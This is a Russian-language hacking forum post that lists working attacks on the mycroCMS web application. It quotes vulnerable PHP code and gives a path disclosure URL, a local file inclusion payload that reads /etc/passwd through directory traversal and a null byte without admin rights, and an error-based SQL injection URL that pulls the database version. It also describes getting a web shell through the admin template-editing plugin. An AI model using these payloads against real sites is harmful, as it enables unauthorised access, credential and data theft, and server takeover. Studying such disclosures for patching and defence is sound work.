Показать сообщение отдельно

  #9  
Старый 07.02.2010, 17:10
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами: 9419426

Репутация: 648
По умолчанию

Продукт: mycroCMS
Сайт: http://sourceforge.net/projects/mycrocms/
Path diclosing
Код:
http://localhost/mycrocms/?entry_id='
LFI

Участок кода в /admin/admin.php:
PHP код:
if ($admin=="error"){
    include (
"error.php");
}elseif (
$userManager->isLoggedIn()) {
    if (
$admin == "") {
        include (
"dashboard.php");
    } else {
        if (
file_exists("admin/$admin.php")) {
            include (
"admin/$admin.php");
        } else {
            die(
"File admin/$admin.php does not exist!");
        }
    }
    
$userManager->setLastTime(time());
} else {
    
        if (
$admin == "") {
            include (
"dashboard.php");
        } else {
            if (
file_exists("admin/$admin.php")) {
                include (
"admin/$admin.php");

            } else {
                die(
"File admin/$admin.php does not exist!");
            }
        }
        
$userManager->setLastTime(time());
    
    
    

Отсюда инклуд. Эксплуатация:
Код:

http://localhost/mycrocms/?admin=../../../../../../etc/passwd%00
(права админа не нужны)
SQL-Injection

magiq_quotes=Off
Смотрим в \include\Categories.php:
PHP код:
function get_category_by_id($id) {
    global 
$sql$categories;

    
// use array if preloaded
    
if (is_array($categories)) {
        
$res array_search_recursive('category_id'$id$categories);

    }

    if (!
is_array($res[0])) {

        
$res $sql->read('categories''category_id'$id);
    }
    return 
$res[0];

Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
PHP код:
        $sql "SELECT * FROM `$tablep` " $where $order $limit;

        
$result mysql_query($sql); 
Пример эксплуатации:
Код:

http://localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat(version(),0x3a,floor(rand()*2))

+x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
Code Execution

Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле - любых

файлов). Активируем его, затем идём на http://localhost/mycrocms/?plugin=second&page=themes и редактируем любой файл.
 
Ответить с цитированием